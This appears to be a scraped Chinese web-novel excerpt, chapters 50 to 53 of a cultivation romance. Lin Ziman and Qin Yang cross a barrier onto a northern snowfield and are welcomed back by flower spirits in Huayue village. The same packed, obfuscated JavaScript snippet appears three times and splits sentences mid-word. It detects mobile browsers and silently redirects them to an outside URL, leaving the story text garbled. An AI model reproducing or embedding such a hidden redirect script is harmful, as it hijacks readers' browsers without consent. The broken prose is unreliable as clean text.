“怎么会呢。”林子满打趣地看着她,“你这样说,莫非是想收回先前的话,不愿为我们赴汤蹈火了?” “不是的!”石云着急道,“我当然愿意的!只是……” 只是她没什么本事,是个再普通不过的人,连人界都没法回去,又谈何为他们赴汤蹈火呢? “不急在这一时,只要你有这份心,就总会有机会的。”林子满宽慰道,“不要觉得欠了我们什么,也不要觉得自己没用,这世上没有没用的人。” 再说了,她小小年纪就能保护自己的族人,又怎么会是个没用的人呢? 50. 雪原 临走之前,林子满向时客要了他身上剩余的隐息丹,交到石云手中,并细细地跟她说了用法与功效。 这隐息丹虽只能作用十日,也多少能帮到他们。 最后,林子满看着她,语气有些复杂:“一定要活着啊。” 石云笑起来,无比认真地说:“我会的。” 林子满四人就这样在石云的目送中离开了山谷。 待他们彻底消失在自己的视野中,石云才收回目光,坐回原地与哥哥一起守着还未醒的族人。 兄妹二人多日未见,又险些阴阳两隔,自是有一番体己话要说。 两人说着说着,石风忽地想到什么,有些好奇地问:“你们是怎么找到我们的?我记得昏过去前还是在地下暗河里,那些妖要抓什么鱼妖,嫌我们碍事才将我们迷晕了,难不成他们得手以后又将我们带到地上来了?” “他们没有得手,林姐姐说服那两条鱼妖出逃,引走了大部分的妖,我们才有机会将你们救出来的。”石云是在救出族人后,才听莫叶声说了他们的计划,才知道林子满为他们冒了多大的风险。 石风疑惑:“你们是在暗河里将我们救出来的?” “是啊。”石云解释道,“幸好他们中有人知道召出虫妖的法子,才带着我们追上了你们,不然我可能连你们的影子都摸不到。” “虫妖?”石风的声音变得有几分古怪,“是妘娘娘曾与我们说过的沼虫?可作船在暗河里前行的沼虫妖?” 见石云点头称是,石风更加惊讶了:“你怎么会认识那样的大妖?你不是说他们都是人族吗?” 石云先是一愣,而后猛地反应过来什么。 她想起来了,想要召出虫妖,是用血没错,但不是谁的血都能起作用的,滴下的血中蕴藏的妖力必得不弱,才能引出沉睡于沼泽中的虫妖。 如果是这样的话……那秦扬根本就不是人,而是一名妖,还极有可能是一名大妖! 可林子满先前明明说,他们一行人都是自人界而来,人界又怎会有知晓如何召唤沼虫的妖呢? 他们知道那人的真实身份吗? 若不知道的话,那大妖潜藏在他们中间是想做什么? 石云心里发冷,冲出去想要告诉他们真相。 但外头只有蓊蓊郁郁的草木,早没了那几人的踪影。 与此同时,走出山谷的林子满望着太阳辨了辨方向,说道:“灵泽危险重重,也不知迟渊他们现在是个什么状况。” 她实在有些担心,又怕自己这样贸然过去反倒会给他们添乱。 时客看出她的意图,出言打消了她去灵泽的心思:“临走前少主叮嘱过我,此间事了,让我务必带您尽快离开,不必再去灵泽寻他们。” “而且他们身上带着子阵阵图,随时都能直接回蕉林谷,想离开比我们容易得多。” 这话确实也在理,林子满想,迟渊早已不是她当年认识的那个毛毛躁躁的少年了,如今的他已经可以独自承担起一宗的重任,行事必然周到又全面,应该用不着她去操心什么了。 于是她点点头:“那我们先离开妖都,后续的事等离开后再说。” 语毕,她取出迟渊留给他们的灵符,往其中注入一道精纯的灵力。 只见随着灵光在符文上流转,灵符仿佛有了生命般飘浮而起,在空中旋转几回后,径直朝着一个方向飞去。 灵符的速度极快,四人不敢怠慢,连忙提起一口气,脚尖一踮飞身而出,紧随其后。 跟着灵符绕了几道弯后,他们来到了一处悬崖边。 明明此时正值正午,半刻钟前几人还热得有些冒汗,而在这悬崖边却感觉不到丝毫温暖,高悬的太阳好似成了摆设,只有一丝丝的寒意顺着毛孔往里钻。脚底深渊阴森不可见底,透着一股死气沉沉的味道。 黑气弥漫在周围,形成一道无形的屏障,阻碍了众人往前的脚步。 灵符附着于屏障之上,流转的灵光消失,化作一张普普通通的纸跌落下来。 “应当就是这儿了。” 林子满结印催动另一道符箓,无数光点自灵符上散出,萤火一般落在四人身上。 林子满试探着伸出手,去触那无形的屏障。 指尖接触到屏障的那一瞬间,犹如探进了平静的水面,刹那间波纹涌动。 下一刻,一股强大的拉力传来,林子满猝不及防地踉跄了一下,整个人不受控制地往前一扑。 眼见她就要栽进深渊里,秦扬眼疾手快地捉住她的手腕,却被那股拉力扯着一起摔进那水波一般的屏障里。 …… 一望无际的雪原上,一只肥胖臃肿的兔子正一蹦一走。 它通体雪白,若非生着一双红宝石般的眼睛,几乎难以在雪地上发现它。 只见它一边用嘴寻找埋在雪下面的草叶,一边竖起耳朵警惕着周围的动静。正吃得开心,不远处忽然抬起一只手,将它吓得耳朵一缩,再顾不上吃草,双腿一蹬,闪电般逃走了。 林子满向上伸出手,艰难地将自己从雪里“挖”出来。 看着眼前白茫茫的一片,她一时有些愣神,这又是哪儿?怎么感觉最近几次每次醒来都在个陌生的地方? 林子满正坐着感慨,一阵寒风猛地袭来,卷起一地雪粒子扑了她满头满脸,冻得她一个激灵,脑子都清醒了许多。 远处一座连绵不绝的山脉在被吹散的云雾间若隐若现。 林子满看着那极高的山,脑海里忽然闪过许多片段,遥远的记忆浮现在眼前,这对她来说或许并不是个陌生的地方。 她站起身,正打算往山那边走去,一声闷哼突然响起。 林子满循声望去,看见一个人正躺在雪堆里。想来是刚才那阵风吹走了覆在他身上的那层雪,才让被“活埋”的人重见天日,不必像林子满那样自己挣扎着爬出来。 只是看着那身黑色衣袍,林子满实在觉得眼熟。 果不其然,待那人坐起来,一张俊美又熟悉的脸庞出现在她面前。 正是秦扬。 林子满后知后觉地想起来,她被拉进那层屏障时,有人抓住了她的手,力道极大,她腕上现在兴许还有几道红痕。 险些将人丢在这儿的林子满有些心虚地转了转眼,走过去关切地问了句:“你没事吧?” 秦扬显然也还没反应过来发生了什么,茫然地问:“这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902867|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是哪儿?” “如果我没猜错的话,这里是极北之地的雪原。”林子满走上前将他拉起来,“我们已经回到人界了。” 秦扬拍去身上的雪粒,环顾四周:“这般容易就出来了?” “也不算容易,要跨过那座山我们才算真正回到修真界。”林子满示意他看向南面那连绵不绝的山脉,一座座雪山高耸入云,“雪原一年中大半时间都雨雪霏霏,那座守护神山更是严寒逼人,平时根本没有生灵能靠近,即便强行上山,也会在风雪中迷失方向,彻底困死在山上。只有等到每年立夏,积雪消融,才能勉强通过。” “长老果真博闻强识。”秦扬语带笑意,“连这样荒僻的地方都知晓。” 林子满被夸得有些汗颜:“我不过是恰巧来过一回,不然哪里能知道。” “这样苦寒的地方,莫非是有什么奇珍异宝,才引得长老前往?” 林子满好笑:“这雪原灵气稀薄,只住着些无处可去的精怪,哪会有奇珍异宝?” 秦扬不解:“那长老怎么会想着来这荒无人烟的地方?若每年只有夏至能通行,一来到此处岂不是就要最少逗留一年?” 怎么会来这样偏远的地方呢? 当然是因为与人约定好,要看遍修真界的景色。即便当时承诺要陪她一起的人早已不在,她也不能像那人一样不守信。 林子满眼神飘向远方,仿佛看见了当年那个踽踽独行的自己。 见她久久不说话,秦扬疑惑地唤道:“长老?” 林子满一顿,思绪回笼,唇角微动扯出个微笑:“修士寿命漫长,总会有无聊的时候,当年恰好逛到此处,被漫天飞雪吸引住,就多待了段时间。” 这套说辞秦扬并不相信,但他也看出林子满并不想回答这个问题,于是不再追问,主动岔开话题:“既如此,不知我这次是否有幸,请长老带我领略一番此地的美景?” 林子满忍不住笑起来:“你方才不还嫌弃这里苦寒么?” 秦扬耸耸肩:“既来之则安之嘛。反正现在离夏至还有十来日,想走也走不了,不如好好享受当下。” “再说了,有长老作伴,苦寒算得了什么。”他翘起唇角,带着一点少年人的狡猾。 林子满斜了他一眼:“没大没小。” 闲话间,林子满已带着秦扬走出一大段路。 “这雪原上有不少小村落,住的都是些和善的小妖。若我没记错的话,离这儿最近的应该是花月村。”雪原上没什么标志物,只能靠天上的太阳和远处的山脉辨别方向,林子满一边寻找记忆里的路一边说,“我当年曾在这村子里借住过一段时日,也不知那些村民还记不记得我。” 正说着,秦扬忽然目光一变,猛地转头,眼神锐利地看向不远处的雪堆。 那里白茫茫一片,看似与其他地方并无区别,但仔细观察就会发现,那团“雪”在秦扬的注视下不自然地颤抖。 这灵气稀薄的雪原,竟然有妖能躲过他们二人的神识,他们连对方是什么时候来的都毫无察觉。 林子满也发觉了异常,但她并没有像秦扬那样如临大敌,反倒露出一个久违的笑容,像是遇到了多年未见的朋友。 51. 花月 不待两人靠近,那团“雪”先受不了秦扬的威压,哆嗦几下后,扑在地上化作一个六七岁的小女孩,抱着只红眼兔子哇哇大哭。 明明是个粉雕玉琢的女娃,哭起来却是惊天动地,高昂的哭声二里地外估计都能听见。 林子满一惊,再顾不得许多,忙上前一把捂住她的嘴:“别哭了,再哭引来雪崩我们可就都得死在这儿!” 这极北之地的雪崩可不是寻常地方可比的,一旦被埋住,哪怕是修士也很难脱身。 那女娃被林子满这一声严厉的呵斥吓住了,抽噎着止住了哭声,一双杏眼里盈满了泪水,不停地往下淌。 林子满看她忍住不再哭,才试探着松开了手。 见她瘪着嘴怯生生地看着自己,林子满放轻了声音,安抚道:“我们不是坏人,你不用害怕。” 但这话配上一旁秦扬冷冰冰的眼神,实在没什么可信度。 “我说的是真的,没骗你。”林子满视线落在她头上,乌黑的头发上舒展着一圈雪白的花瓣,“你是花月村的人吧?我以前还去过你们那儿呢。” 见小女孩依旧半信半疑,林子满继续说道:“我还认识一个人叫雪枝,她和你一样,也是一朵雪莲花。” 听见“雪枝”这个名字,小女孩瞪大双眼,惊奇地问:“你认识我娘?” “雪枝是你娘?”林子满微讶,这倒是出乎她的意料,原以为只是同族,没想到竟是母女。 正说着,远处传来一道呼唤,呼啸而过的风将声音刮得断断续续,林子满没听清内容,坐在地上的小女孩却是脸色一变。 “我阿娘来找我了!我要走了!” 话音未落,她就匆匆爬起来,着急忙慌地往远处跑去。 “哎——” 林子满想将她拉住,刚抬起手人已经跑到几步开外了,速度极快,对她的呼唤更是头也不回,只顾着往前冲,颇有种火烧屁股的急迫感。 林子满有些哭笑不得,只得与秦扬一同往她离开的方向飞身掠去。 待他二人赶到时,方才那小女孩正被一身雪衣的高挑女子拎着耳朵教训:“你是皮又痒了?!我跟你说过多少回了,不要一声不吭就往外跑!更不要一个人遛到这儿来!我看你是要等哪天被狼叼了去才会听话!” 小女孩一张玉雪可爱的脸快皱成了朵菊花,一边用手紧紧扒着那女子的手,想要从她手下救出自己岌岌可危的耳朵,一边软声求饶:“阿娘,我错了!我再也不敢了,你就饶了我这一回吧!我保证再也没有下次了!” 软糯的童音里还夹杂着呜咽,配上那双水汪汪的眼睛,即便是心硬如石的人也会动容。 但这高挑的女子显然不是一般人,她冷笑一声:“你这话都说过多少遍了?你以为我还会吃你这套?” 说着,她忽略小女孩的哀嚎,手下越发用力,直将那只耳朵拧得红得滴血。 母女两正斗智斗勇,一道声音忽地传来—— “你从前不也这般爱偷跑出来玩么,她还小,何必如此苛责?” 冷不丁听到陌生的声音,白衣女子被惊了一跳,而后猛地搂过女儿,将她牢牢护在怀里,这才抬头看向不知何时出现的两人。 待看清林子满面容的一刹那,她结结实实地愣住了,连怀里的人扭着身子逃了出去都没发现。 “好久不见啊,雪枝。”林子满笑着看她。 过了片刻,雪枝才如梦初醒般,恍然道:“……柿子姐姐?” 听见这个熟悉的称呼,林子满颇有种恍如隔世的感觉。 当年她游历到此处,恰巧从雪狼口中救下了贪玩偷跑出来的小雪枝,因此才被当成救命恩人请进花月村住了段日子。 那时的雪枝对这个救了自己性命的大姐姐格外崇拜,整日黏着她,跟着她跑出跑进,听说她名为林柿后便以为她是棵柿子树成精,因此执着地叫她柿子姐姐,林子满多次纠正她也不肯改。 当时觉得怪异的称呼,时隔多年再听到,还真有几分怀念。 “多年未见,没想到你都有孩子了。”林子满捏捏好奇凑过来的女娃脸蛋,“跟你小时候真是一模一样。” 雪枝激动地迎上来,几乎有些语无伦次:“真的是你?我……我不会是在做梦吧?” 林子满指尖凝起一点灵力,弹入她头上盛放的雪莲中,雪白的花瓣霎时泛起盈盈白光,透出一股清幽的香气来。 “怎么样?不是在做梦吧?”林子满戏谑地看着她。 多年未见,又这般突然地重逢,雪枝心中明明有无数的话想说,一时却又不知从何说起。 听闻他二人是意外来到此处,只等着立夏雪融开山便要离开,二话不说拖着林子满就往花月村走。 脚步匆匆,边走边道:“花月村离圣山也近,立夏之前你们住村子里就好,就别去其他地方了,大家都很想你。” 林子满见她紧紧抓着自己,生怕她跑了一样,颇有些哭笑不得:“我们正打算往花月村去呢,你不必着急。” “当真?”雪枝用不信任的眼神看着她,“当年你也是跟我说只是出去采些药,很快就回来。”结果她这一走就再也没有回来。 说到这件事林子满有几分愧疚:“那时我有事要离开,你缠我缠得紧,又是个爱闹腾的,大家都怕你知道我要走会闹个天翻地覆,只能先瞒着你。” 虽说事出有因,但这结成忘年交的一大一小,终究是连个好好的道别都没有。若非这次意外,两人可能再也没有见面的机会。 雪枝也知道自己小时候那混世魔王的脾气有多烦人,脸色微赧,有些不自在地说:“以前是我不懂事,但我早就长大了!” “我知道。”林子满笑道,“毕竟是当娘的人了,自然是要比从前成熟稳重许多,调皮捣蛋的人可是早就换了哟。” 听她这么说,雪枝这才想起女儿来。她拉过凑在一旁看热闹的小女孩,介绍道:“她叫雪盈,今年正好五十岁。” 秦扬:“……” 林子满觑着他的神色,揶揄道:“算起来你还得叫人家一声姐姐啊。” 雪盈一双圆溜溜的眼睛转来转去,兴奋地问:“谁要叫我姐姐?这个大个子吗?” 花月村的规矩就是长者为尊,若这看起来凶巴巴的大个子真 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902868|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 要叫她姐姐,那她还用怕他吗?可劲儿使唤都没问题! 见她眼里闪着狡黠的光,雪枝重重拍了下她的后脑勺,警告道:“今天我心情好,就不收拾你了,你给我收敛点,别得寸进尺!” 雪盈只能不甘不愿地缩到母亲身后,而后趁她不注意,吐着舌头翻着白眼冲秦扬做了个鬼脸。 秦扬只淡淡地瞥了她一眼,而后像什么都没看到一样移开了目光。 这种不将人放在眼里的态度可将人小姑娘气得够呛,但碍于母亲的威严,又不敢放肆,只能暗戳戳地在心里记仇。 …… 花月村是这极北之地十来个村庄里最为出名的一个,皆因住在此地的都是些修炼成人形的花妖,个个都有绝世倾城之姿,烹茶酿蜜更是无人能比,引得十里八乡的各种精怪都想着来一睹芳容。 拂开成片的芦苇荡,走过垂下的紫藤花帘,一座座奇形怪状的屋子出现在视野里,这便是花月村了。 一进村,雪枝就放开嗓门,高声喊道:“大家都出来看看,是谁回来了!” 话音方落,就有一道道灵光自各处闪现,倏忽间就来到几人身前。 年纪尚轻的姑娘不知道这两位陌生人的来头,只好奇地盯着他们瞧。 而见过林子满的花妖在怔愣之后,记起了这位曾经的来客,纷纷激动地上前与她打招呼。 又是一番寒暄,直到太阳西斜,暮色降临,众人才回过神来,说说笑笑地四散而去。 雪枝领着他们二人走到一处树屋前,将一块莹润的石头放在林子满掌心:“这屋子是你曾经住过的,这些年来一直没人动过,我想着你兴许还是会更喜欢这里,就把钥匙带来了。” 林子满抬头看着高大的古树,一座木屋掩映在苍翠枝叶间,那段难得的悠闲日子一点点浮现在眼前,她感激道:“多谢,有心了。” “那你们先休息会儿,晚些时候去前村,我们给你们接风洗尘。”雪枝笑着挥挥手,带着女儿往家的方向走去,“我先走了。” 精巧的木门上镂刻着一朵花,花瓣繁复,姿态优美,中心则是一个圆形的小洞。 林子满将石头放上去,“咔嗒”一声轻响,刚好严丝合缝地卡在了里面,木门应声而开。 屋内的摆设一如几百年前,连林子满随手以雪捏就的兔子都还摆在窗台上,折来当作耳朵的竹叶依旧青翠欲滴,时间仿佛在这儿静止了一般。 但屋内很干净,没有一丝灰尘,像是有人时时来打扫一样。 林子满在桌边坐下,捏着曾经用过的茶杯把玩,一时有些感慨:“没想到有生之年我还会回到这里。” 秦扬在她身旁坐下:“她们都很喜欢你,这么多年过去了都还记得你。” “这里远离尘世,极少会有外人造访。她们胆子小,对外面的世界很好奇,却又不敢出去看看,对我这个山外来的人自然是印象深刻。” 这些花妖的生活极其简单,每日除了修炼,就只能去各村逛逛。平时更是没什么需要操心的,唯一的担忧就是雪原上的狼爱叼小孩,这下好不容易逮着两个外来客,当真是兴奋得不得了。 52. 宴席 夜晚,花月村前村。 一片开着各色小花的草地上,支着五六张桌子,桌上摆着各色吃食。 林子满与秦扬赴约时,桌边已零零散散地坐了十来个人。 见着他们二人,不管从前见没见过林子满,都热情地迎上前来,推着他们在桌边坐下,叽叽喳喳地问着些外面的事。 林子满才答了这个人的话,又被那个人缠住,实在有些招架不住。 好在这时雪枝带着雪盈走过来,将她从水深火热中解救了出来。 “你们可放过她吧,一天了都没吃啥,再怎么样也等填饱肚子再说吧。”她将一路端过来的陶锅放在桌上,挥退几个好奇心重的小姑娘,“他们还要在这儿待上好几日呢,不急在这一时。” 林子满看着那个肚膛扁圆的陶锅,莫名觉得有几分眼熟:“这是?” “你忘啦?这个锅还是你和我一起做的呢。”雪枝揭开盖子,顿时香气四溢,腾腾热汽中,一锅菌菇鸡汤吸引了所有人的视线。 “你当年跟我说过做法以后,我尝试着做过许多次,这是做得最好的一次。”雪枝对这次的成果很满意。 她的厨艺其实并不怎么好,但这鸡汤是她最拿手的。她一直努力做好这道菜,就是想着有朝一日能让自己的柿子姐姐也尝尝,现在,这个愿望终于实现了。 林子满看着陶锅中间那根空心管,愣住了,她没想到自己多次错过的菜,会以这样的形式猝不及防地出现在她面前。 很久很久以前,在她还没成为林芷满的另一个世界里,曾听游玩回来的弟弟炫耀吃过的新奇东西,那些稀奇古怪的菜肴里,令她印象最为深刻的是一道名为汽锅鸡的菜。 不用加一滴水,只要用上那特殊制造的锅,便能炖出一锅无比鲜香味美的鸡汤。 那时的她只能羡慕地听着,后来手中有了一点钱,又要攒着为自己治病,直到她意外去世,也没能去尝尝那汤到底是个什么味。 来到这个世界以后,她偶然间听说凡间有个小镇也有这样做法的鸡汤,便想着要与杨之曜一起去,结果却出了那样的事。 后来她独自游历时,也曾到凡间去寻过那个小镇,但当她好不容易找到那儿时,却发现小镇已不复存在,曾经祥和的小镇早已在战火中化作一片废墟。 兜兜转转却总没能如愿,于是在花月村时,她便想着,实在不行就用陶土做一个锅,自己为自己煮一次吧。 她带着当时的小雪枝一起捏泥巴,跟她讲这汤的做法有多奇特,做出来又是如何的美味,定会让她吃一次就念念不忘。 她们失败了一次又一次,却始终没有放弃。 终于,又一个清晨,小雪枝从泥窖里捧出了一个完好的陶锅。她激动坏了,带着陶锅就往林子满住的树屋跑去,但那里却已人去楼空。 “快尝尝,是不是你说的那个味道。”雪枝见人来得差不多了,匆匆招呼大家坐好后,迫不及待地盛了一碗汤递到林子满手中,“我那时候太小了,许多事都记不全,虽然这汤大家都很喜欢喝,但我一直都不知道自己的做法是不是对的。” 林子满接过碗喝了一口,果真是汤鲜味美,菌菇与鸡肉的味道在嘴里散开,唇齿留香,回味无穷。 “怎么样?”雪枝紧张又期待地看着她。 林子满笑道:“很好喝。” 听她这么说,雪枝松了口气:“我还以为自己的做法不正宗呢。” “怎么会呢?”林子满又喝了几口,“你这手艺世上应该没有几人能及得上了。” 雪枝被她逗得开怀大笑,豪爽道:“你若喜欢,我天天做给你喝!” “那你可不能食言啊。”林子满也丝毫不客气。 一场接风宴热热闹闹地吃到了月上中天,宾主尽欢,众人才依依不舍地散去,走之前还约定好明日要去谁家吃饭。 林子满与秦扬沿着开满野花的小径往回走,明明天上还在飘雪,此处却感受不到丝毫寒意,绿树新芽,百花齐放,与外界的春天并无二致。 两人并肩而行,边走边说着晚间宴席上的趣事。 “为何方才在宴席上不曾看见男子,这花月村是只有女子居住吗?”秦扬有些奇怪地问,那些跟随母亲前来赴宴的孩童中,分明也有男童,可他却不曾见过一个成年男子。 “这是花月村自古流传的习俗,男子是不能成为花月村村民的。”林子满解释道,“那些男童年纪尚小时,可以随母亲住在一起,一旦成年就要离开此处,另立门户。” 秦扬问:“那这些孩子岂非一生下来就没有父亲?” “他们不是一生下来就没有父亲,他们是本来就没有父亲。”林子满指了指路边的野花,“花妖是一种很神奇的存在,女妖仅靠自身就能繁育后代,所以花妖是只有母亲,没有父亲的。正因如此,那些无法生育后代的男妖,才没有资格住在这里的。” “那我能住进花月村,还是沾了长老的光啊。”秦扬笑道,“否则以我这地位,莫说是住进来了,怕是踏足此地都难。” “倒也没有这么夸张,毕竟——”林子满撑着手肘,摸着下巴上下打量了他几眼,“花妖都是极爱美的,单凭你这张脸,在这儿也是能混口饭吃的。” 两人有说有笑,不知不觉间就走到了树屋下。 这树屋说大不大,说小不小,卧房内虽有一张大床,却不可能让他二人挤一挤。好在屏风隔开的外室还放着一张软榻,勉强能睡个人。 于情于理,秦扬都不可能让林子满去睡那软榻,可林子满看他坐在那榻上,忍不住说了句:“不然你还是去睡床吧?” 这树屋原先的主人可能是个身材娇小的花妖,软榻做得小巧玲珑的。秦扬如今身形长开,已然十分高大了,一坐上去就将软榻占去了大半,若整个人躺上去,估计连转身都困难,定然十分难受。 可秦扬丝毫不觉委屈,一听林子满要跟他抢这软榻,二话不说就躺了上去,将软榻塞得满满当当,还撑着头笑着看她:“长老也瞧见了,这榻小得很,若长老实在想睡,就只能躺我身上了。” 林子满:“……” 林子满无言片刻,转头去了屏风后。罢了,看他这生龙活虎的样,想来也不需要休息,年轻人身体好, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15902869|176710||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她这个年纪大的可比不过,就不跟他争了。 这木床底下也不知垫了些什么,十分软和,躺上去就跟被柔柔抱住了一样,舒服极了,林子满眼睛才闭上没多久,就沉沉睡了过去。 听到屏风后的呼吸逐渐变得平缓绵长,秦扬极轻地唤了声:“长老?” 室内一片安静,屏风后没有传来任何动静。 秦扬轻轻吐出一口气,彻底放松下来,原本神采奕奕的脸上疲态尽显。 他悄悄坐起身来,没发出一点声音,从储物袋中取出一枚丹药服下,而后开始打坐运功。 前几日大家同住一个洞穴,实在没有机会梳理体内的灵力,再撑下去估计就要露馅了。 若此时有人站在一旁,便会发现秦扬周身散发着青光,额前一枚印记若隐若现。但屏风挡住了微弱的光芒,另一侧的人躺在床上睡得正香,对这一切毫无察觉。 翌日,林子满醒来时,屋内已不见秦扬的人影。 她走至软榻旁,推开窗户往下望去,看见树下一男一女正聊得开心。 似是察觉到她的目光,秦扬微微仰头朝上看来,脸上还带着淡淡的笑。 站在他对面的女子随着他的动作偏头,一同望了过来。 ——是雪枝。 她看见林子满后,脸上立马绽出一个大大的笑,高声叫道:“柿子姐姐,你醒了?” 片刻后,三人一同坐在桌前,吃着雪枝带来的早点。 雪枝一边吃一边介绍道:“这是我昨夜回去便开始炖的粥,今早又加了些雪莲花进去,清热败火,正适合这个季节吃。” 白粥熬得极为软糯,还透着股雪莲的清香,入口即化,口齿生香,一碗下去,晨起的困顿好似都被驱散了。 “雪盈呢?怎么不见她?”林子满搅着碗里的粥,随口问道。 “她呀,还睡着呢,一年都难得早起几回,昨夜闹到那么晚,不到午饭时估计是醒不来了。”雪枝的语气十分无奈。 林子满好笑:“小孩子总是睡不饱的,你小时候不也是这样的么?” “我小时候可比她有精神多了!好几次来寻你时,你都还没醒呢!”说到这儿,雪枝想起了自己的来意,她问道,“你还记得胜春姐姐吗?” 林子满仔细回想,脑子里闪过一个穿着粉白衣衫的姑娘,她犹豫着问:“是住在村头,家里养了好几头猪的那位?” “没错!我就知道你还记得她!”雪枝高兴地说,“昨日她去了邻村,今早才回来,所以你才没见着她。” “她去邻村做什么?”在林子满的印象中,花月村里的人极少在外留宿,而邻村好像都住着些膀大腰圆的大汉,她一个人去那儿做什么? “捉猪仔啊!”雪枝兴致勃勃地看着她,“我今天来就是要带你去看猪仔的,你从前不是最爱去她家看猪仔了吗?这次的猪仔可壮实了,你一定会喜欢的!” 林子满:“……” 她见一旁秦扬的表情逐渐变得怪异,有些不自在地轻咳一声。虽然这都是事实没错,但被雪枝这么一说,怎么跟她有什么特殊癖好似的呢! 53. 猪仔 林子满虽然不太情愿,终究没能抵过热情似火的雪枝,硬是被她拖着往村头走去。 而秦扬也不知出于一种怎样的心态,对她投来的求助目光视而不见,反而饶有兴致地跟在一旁。 三人走过一段路,还没到胜春家,先听见一阵高昂的猪叫,那声音又急又尖,颇有几分垂死挣扎之感。 “怎么回事?莫非春胜姐姐今天要杀猪?”雪枝也不知发生了什么,有些诧异地自语。 几人加快步伐,朝着前头那座石砌的屋子走去。 那石屋是由各种千奇百怪的石头搭成,并不像平常的屋子那般修得平平整整,反倒□□一块,西缺一角。 屋子左侧有个不小的猪圈,顶上还用茅草搭了个遮雨的篷,十来只胖乎乎的小猪仔趴在里面睡得正香。 “胜春姐姐!你在家吗?”雪枝一边推门一边高声问。 “大早上的你嚷嚷什么呢?” 一个身材娇小的女子从后院拐出来,她穿着一身渐变的粉白衣裙,头上梳着惊鹄髻,簪了朵半开的花,衬得整个人灵动可爱,手里却拎着把屠刀,刀口还在往下滴血。 她一脸不耐地抬眼,在看见雪枝身后的林子满与秦扬时一愣,脸上的表情僵住,猛地反应过来,欲盖弥彰地将手中的砍刀往身后藏。 林子满对她笑了笑:“胜春,好久不见。” 胜春磕磕巴巴地回道:“林、林姐姐。” 雪枝十分高兴地插嘴:“先前我们可打过赌,若柿子姐姐还记得你,你就要将最壮的那头猪送给我,可不能反悔啊!” 说到这儿她突然想起刚刚那阵猪嚎,再结合刚刚猪圈里仅剩的几头小猪,心里闪过不好的预感:“你不会将我要的那头猪杀了吧!” 她推开几人急急朝后院走去。 片刻后,一声尖叫从后院传来,同时响起的还有雪枝的怒喝:“胜春!没有你这样的!你别想赖账!” “不过就是一头猪,你嚎什么嚎。”胜春一脸鄙夷,“待猪圈里那几头长大了随你挑一头就是了!” 雪枝恨恨道:“早上我遇见你时你不也是这般说的?!不过一头猪而已,你怎的还骗人呢?!” 胜春瞅了眼看戏的林子满和秦扬,有些尴尬地挠挠脸,虽算不上骗人,也确实是她理亏,主要是她没想到林子满竟然真的还记得她。 外面的世界那般精彩,花月村再怎么好,也不过是极北之地一个不起眼的小村落而已,像林子满这样去过很多地方的人,怎么还会记得她这样一个只有几面之缘的小花妖呢? 所以与雪枝打赌时,她根本没想过自己会输,回到家将猪仔安置好后,便想着将那几头大猪都宰了,与村里众姐妹一起热闹热闹,也算弥补她昨晚错过了给林子满接风洗尘的宴席。 见二妖正为打赌一事争得面红耳赤,秦扬凑到林子满耳边,轻声问:“这猪是有什么特殊之处吗?莫非特别稀有,需要特意圈养?”还引得两妖竞相争抢。 林子满摇摇头:“就是普通的猪,顶多比凡间的猪肉质细嫩几分。” 听她这么说,秦扬越发迷惑了:“花妖……竟爱吃猪肉?” “难不成花妖就只能吸收天地精华,不染纤尘?”林子满好笑,“这猪肉人吃得,妖兽吃得,花妖怎的就不能爱吃了?” 这样说来好像也有道理,秦扬虽然觉得有些违和,但一时又说不上哪里不对劲。 他们这厢耳语间,那头的争论也有了结果,雪枝接过胜春递来的那个硕大的猪头,犹有几分不忿:“你可不许再诓我了!这一窝猪得等我亲自挑过了,你才能动手,可不能背着我偷偷宰杀!” “知道了知道了!”胜春语气不耐,“我都说了这次是个意外,你非揪着不放做什么!我是那种言而无信的人吗?” 眼见两人又要吵起来,林子满连忙走上前去打圆场:“胜春也是好意,她哪次杀猪不是与大家一同分享的?你就别怪她了。” “就是!我可没偷偷吃独食!”胜春见有人给她撑腰,顿时理直气壮起来,“就算将你要的那头猪杀了,你不也能吃得着吗?再说了,那一整个猪头都给你了,你也不亏了!” 雪枝这才悻悻闭了嘴,不甘不愿“哼”了声,拉着林子满去前院看猪仔。 说是猪圈,事实上可能比有些人家里都干净些,猪仔身上也没有丝毫污秽,粉白圆润,没有一丝异味。地上种满了草,任由猪仔在上面踩踏也不见残损,反倒将它们拉出的粪便吸收得干干净净。 雪枝推开猪圈门,在里面挑挑拣拣,抱出一只长得最可爱的,不由分说塞进林子满怀中:“柿子姐姐,你不必拘束,喜欢哪头便抱哪头!如从前一般就好!” 胜春有些不满:“这是我的猪仔,你在这儿大方个什么劲?” 